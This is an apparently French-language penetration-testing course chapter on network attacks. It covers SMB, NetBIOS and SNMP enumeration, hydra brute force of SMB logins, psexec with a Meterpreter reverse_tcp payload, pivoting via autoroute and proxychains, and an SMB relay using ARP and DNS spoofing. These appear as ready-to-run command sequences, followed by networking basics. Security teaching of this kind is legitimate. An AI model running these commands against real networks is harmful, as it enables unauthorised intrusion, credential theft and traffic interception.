Ce chapitre se concentre sur les attaques dont la réussite dépend de la position de l'attaquant sur le réseau. L'étudiant apprend à passer de l'énumération des protocoles exposés à l'exploitation des mécanismes d'authentification, puis à utiliser un hôte compromis comme point de passage vers un réseau interne.
SMB, NetBIOS et SNMP — extraire un maximum d'informations exploitables.
Utiliser un accès obtenu pour router du trafic vers un réseau interne via proxychains.
Intercepter et relayer une authentification SMB pour usurper un utilisateur légitime.
Le but n'est pas de mémoriser des commandes isolées, mais de comprendre comment une information réseau devient une piste d'attaque. À chaque étape, l'étudiant doit savoir ce qu'il cherche, pourquoi cette information est utile et comment elle influence l'étape suivante.
Identifier les hôtes, services, protocoles, comptes, partages et informations de configuration accessibles.
Relier une mauvaise configuration, une authentification faible ou un service exposé à une technique adaptée.
Utiliser un hôte compromis pour atteindre des ressources situées sur un réseau interne.
Découvrir → Énumérer → Identifier → Valider → Accéder → Étendre la visibilité → Documenter.
Avant SMB, SNMP et le pivoting, il faut comprendre ce que signifie être visible depuis un réseau. Un port fermé, filtré ou inaccessible depuis le point d'origine ne représente pas nécessairement la même situation. Une machine compromise peut posséder une connectivité supplémentaire que l'attaquant ne possède pas directement.
nmap -Pn -sA -p445,3389 @IP_cible nmap -Pn -sS -sV -f --mtu 32 @IP_cible nmap -Pn -sS -sV -D @IP_gateway -g 53 @IP_cible
Ces techniques modifient le trafic de reconnaissance et doivent rester dans le périmètre autorisé.
L'énumération réseau va au-delà de la simple découverte d'un port. Pour chaque service, on cherche son rôle, sa version, son mécanisme d'authentification, les informations qu'il divulgue et les actions permises par un compte valide.
Hôte, port, protocole, version et rôle.
Utilisateurs, partages, community strings et configuration.
Choisir une technique qui correspond réellement aux résultats.
Une première passe permet de déterminer si SMB est présent et quelles informations sont accessibles sans authentification. L'accès anonyme, lorsqu'il est autorisé, peut révéler des partages, des noms de machines ou des comptes.
nbtscan @IP_reseau nmap -sV -p139,445 @IP_cible nmap -sV --script smb-protocols -p445 @IP_cible nmap -sV --script smb-security-mode -p445 @IP_cible
smbclient -L @IP_cible nmap -p445 --script smb-enum-users @IP_cible
Les résultats servent à construire une liste d'utilisateurs et de ressources à examiner.
Lorsque l'énumération fournit des noms de comptes, ceux-ci peuvent être utilisés dans un scénario de validation d'authentification. Un accès SMB réussi ne signifie pas automatiquement que le compte est administrateur : les permissions doivent être vérifiées.
hydra -L users.txt \ -P /usr/share/metasploit-framework/data/wordlists/unix_password.txt \ @IP_cible smb psexec.py utilisateur@@IP_cible
use exploit/windows/smb/psexec set RHOSTS @IP_cible set SMBUser utilisateur set SMBPass motdepasse set payload windows/x64/meterpreter/reverse_tcp run
La session dépend des droits du compte et de la configuration SMB.
Le pivoting devient nécessaire lorsqu'une machine compromise possède une connectivité vers un réseau que la machine d'attaque ne peut pas atteindre directement. L'hôte compromis devient alors un point de transit pour les connexions destinées aux cibles internes.
Avant : seules les routes accessibles depuis l'attaquant sont visibles.
Après : un proxy ou une route permet d'utiliser la connectivité de la machine compromise.
Attaquant ↓ Machine compromise ↓ Réseau interne ↓ Cible inaccessible directement
Le pivot augmente la visibilité, mais ne donne pas automatiquement des privilèges sur les nouvelles machines.
# Depuis la session Meterpreter run autoroute -s @IP_sousreseau background # Créer un proxy SOCKS use auxiliary/server/socks_proxy set version 4a set SRVPORT 9050 run # Dans un autre terminal cat /etc/proxychains4.conf proxychains nmap @IP_cible2 -sT -Pn -sV -p445 # Retour sur la session, exploration du partage distant sessions migrate -N explorer.exe net view \\@IP_cible2 net use K: \\@IP_cible2\K$ dir K:
SNMP sert à superviser et gérer des équipements réseau. Lorsqu'un agent est exposé avec une community string faible ou par défaut, il peut divulguer des informations importantes sur l'équipement et son environnement.
SNMPv1/v2 utilisent notamment des community strings ; SNMPv3 apporte des mécanismes d'authentification et de protection plus robustes.
# Vérifier si le service SNMP est actif nmap -sU -p161 @IP_cible # Tester les community strings par défaut/faibles nmap -sU -p161 --script=snmp-brute @IP_cible # Interroger directement l'agent SNMP snmpwalk -v 1 -c public @IP_cible # Lancer l'ensemble des scripts NSE liés à SNMP nmap -sU -sV -p161 --script=snmp-* @IP_cible > snmp_info # Brute-force complémentaire sur un service associé (ex: SMB) hydra -l administrator \ -P /usr/share/metasploit-framework/data/wordlists/unix_password.txt \ @IP_cible smb
Le SMB Relay ne consiste pas à casser un hash NTLM. L'attaquant cherche à récupérer une tentative d'authentification et à la relayer vers un autre service qui accepte ce mécanisme. Le point essentiel est donc le contrôle du chemin d'authentification.
# Terminal 1 : préparer le relais Metasploit msfconsole use exploit/windows/smb/smb_relay set srvhost @IP_attaquant set lhost @IP_attaquant set SMBHOST @IP_cible # Terminal 2 : spoofing DNS echo "@IP_attaquant *.domaine_cible" > dns dnsspoof -i eth1 -f dns # Terminal 3 & 4 : ARP spoofing bidirectionnel echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth1 -t @IP_cible @IP_gateway arpspoof -i eth1 -t @IP_gateway @IP_cible # Retour Terminal 1 exploit # --> session Meterpreter via relais d'authentification
Avant d'attaquer un réseau, il faut comprendre ce que l'on observe. Un pentester doit savoir distinguer une adresse IP, une adresse MAC, un port, un protocole et un service. Cette distinction permet de passer d'une observation réseau à une hypothèse exploitable.
IP identifie logiquement une interface et permet le routage entre réseaux.
TCP et UDP utilisent des ports pour distinguer les communications d'une même machine.
SMB, DNS, SNMP, HTTP, SSH, etc. définissent ce que le service fait réellement.
IP → port → protocole → version → fonction → exposition → impact potentiel.Le subnetting est essentiel pour comprendre la portée d'un scan et identifier les réseaux accessibles. Une adresse IPv4 comporte 32 bits ; le préfixe CIDR indique combien de bits représentent le réseau.
Masque : 255.255.255.0
Réseau : 192.168.10.0
Hôtes usuels : 192.168.10.1–254
Broadcast : 192.168.10.255
/24 donne un réseau de 256 adresses. /16 couvre un espace beaucoup plus large. Le préfixe permet d'estimer la surface à découvrir et d'identifier les routes vers d'autres segments.
ip addr · ip route · ip neigh · ipcalc 192.168.10.20/24Un port n'est pas une vulnérabilité : c'est un point logique utilisé par un protocole de transport. Le rôle du pentester est d'identifier quel service écoute derrière ce port et comment il se comporte.
Connexion orientée état, avec établissement de session via le three-way handshake : SYN → SYN/ACK → ACK. Adapté notamment à HTTP(S), SSH et SMB.
Sans établissement de connexion TCP. Faible overhead et comportement différent au scan. DNS et SNMP utilisent notamment UDP.
nmap -sS -sV -p22,53,80,139,445 @IP_cible permet de corréler port, protocole et service.Sur un réseau IPv4 local, une machine connaît une IP mais doit obtenir l'adresse MAC correspondante pour envoyer une trame Ethernet. ARP réalise cette résolution.
ip neigh affiche le voisinage ARP connu par Linux. arp -a permet également d'observer le cache sur certains systèmes.
La confiance accordée aux réponses ARP explique pourquoi l'ARP spoofing peut permettre une attaque de type Man-in-the-Middle sur un LAN.
DNS traduit des noms en informations réseau. En pentest, il permet de découvrir des hôtes, des services et parfois une architecture interne lorsque la configuration divulgue trop d'informations.
Nom d'hôte → adresse IPv4.
Nom d'hôte → adresse IPv6.
Serveurs DNS, messagerie et informations textuelles de configuration.
dig target.local · dig NS target.local · dig MX target.local · host target.localUn hôte compromis n'est pas seulement une cible : il peut devenir un point d'accès vers un réseau que votre machine d'attaque ne peut pas joindre directement. Le routage détermine où envoyer les paquets.
Le système connaît les réseaux directement connectés.
Les destinations inconnues sont envoyées vers la passerelle par défaut.
Une machine intermédiaire relaie le trafic vers un autre segment.
ip route, les interfaces, les routes accessibles et les sous-réseaux révélés après compromission.Deux notions expliquent souvent pourquoi une machine peut communiquer avec certaines adresses mais pas avec d'autres : le NAT et la segmentation. Le réseau visible depuis l'extérieur n'est pas nécessairement le réseau réellement présent derrière la passerelle.
Une passerelle traduit des adresses, souvent entre réseau privé et Internet. Cela modifie la visibilité des hôtes internes depuis l'extérieur.
Un VLAN sépare logiquement des domaines de niveau 2. Deux machines peuvent être physiquement proches tout en étant dans des segments différents.
ICMP est utilisé notamment par ping, mais son blocage ne signifie pas qu'un hôte est éteint. Les contrôles réseau peuvent filtrer ICMP tout en autorisant TCP ou UDP.
ping @IP_cible
Permet de tester une réponse ICMP Echo lorsque celle-ci est autorisée.
nmap -Pn @IP_cible demande à Nmap de considérer l'hôte comme accessible et de poursuivre le scan sans dépendre de la découverte ICMP.
L'analyse de paquets permet de comprendre ce que les outils de scan ne montrent pas toujours : qui parle à qui, sur quel port, avec quel protocole et dans quel ordre.
ip.addr == 192.168.1.10
tcp.port == 445
dns · arp · icmp · smb2
IPv4 · CIDR · subnet · broadcast · gateway · MAC
TCP · UDP · ports · handshake · état ouvert/fermé/filtré
ARP · DNS · DHCP · NAT · VLAN · routage
ICMP · Nmap · NetBIOS · SMB · SNMP
Authentification · partages · credentials · pivoting
Wireshark · flux · protocoles · métadonnées
L'arbre permet de choisir la prochaine action à partir du résultat précédent. SMB, SNMP, pivoting et SMB Relay répondent à des situations différentes et ne doivent pas être exécutés comme une checklist aveugle.
La logique du chapitre suit une progression : identifier les services réseau, approfondir leur énumération, obtenir ou valider un accès, puis utiliser la position obtenue pour atteindre d'autres ressources.
L'étudiant doit être capable d'expliquer pourquoi SMB, NetBIOS et SNMP sont intéressants, quand un pivot est nécessaire et en quoi un SMB Relay diffère d'une attaque visant directement un mot de passe.